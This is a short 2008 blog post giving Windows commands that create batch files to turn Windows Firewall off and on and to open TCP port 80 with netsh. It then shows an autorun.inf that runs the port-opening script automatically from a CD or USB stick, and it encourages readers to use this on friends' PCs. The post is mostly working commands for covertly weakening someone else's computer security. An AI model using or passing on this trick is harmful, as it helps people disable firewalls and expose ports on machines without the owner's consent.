Thursday, February 7, 2008

Fun with Windows Firewall

This goes out to all the guys out there who solely depend on windows firewall

c:>copy con disable.bat
netsh firewall set opmode disable
^z --> this is cntrl+z.Then hit enter

c:>copy con enable.bat
netsh firewall set opmode enable
^z

A neat way would be open up specific ports on the firewall

c:>copy con openport.bat
netsh firewall add portopening TCP 80 websrver
^Z

To close the port replace add by delete

Now the fun part create an autorun file that would automatically run the bat file and open the port for you

c:>copy con autorun.inf
[autorun]
action=Run
shellexecute=openport.bat

Now burn a CD with the autorun.inf and the openport.bat file or put them on your USB drive and have fun opening ports on your friends PC

0 comments: